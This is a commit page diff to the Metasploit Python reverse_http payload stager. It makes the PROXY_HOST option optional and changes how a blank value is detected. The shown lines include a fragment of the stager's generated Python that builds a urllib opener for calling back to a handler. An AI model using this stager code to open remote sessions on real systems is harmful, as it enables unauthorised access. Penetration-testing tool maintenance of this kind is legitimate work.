Skip to content

Commit 0601946

Browse files
author
HD Moore
committed
Don't mandate and default PROXY_HOST (miscopy from the proxy stager)
1 parent a4df6d5 commit 0601946

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/payloads/stagers/python/reverse_http.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ def initialize(info = {})
2626

2727
register_options(
2828
[
29-
OptString.new('PROXY_HOST', [true, "The proxy server's IP address", "127.0.0.1"]),
29+
OptString.new('PROXY_HOST', [false, "The proxy server's IP address"]),
3030
OptPort.new('PROXY_PORT', [true, "The proxy port to connect to", 8080 ]),
3131
], Msf::Handler::ReverseHttp)
3232
end
@@ -49,7 +49,7 @@ def generate
4949
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
5050

5151
cmd = "import sys\n"
52-
if datastore['PROXY_HOST'].blank?
52+
if datastore['PROXY_HOST'].to_s == ''
5353
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
5454
else
5555
proxy_url = "http://#{datastore['PROXY_HOST']}:#{datastore['PROXY_PORT']}"

0 commit comments

Comments
 (0)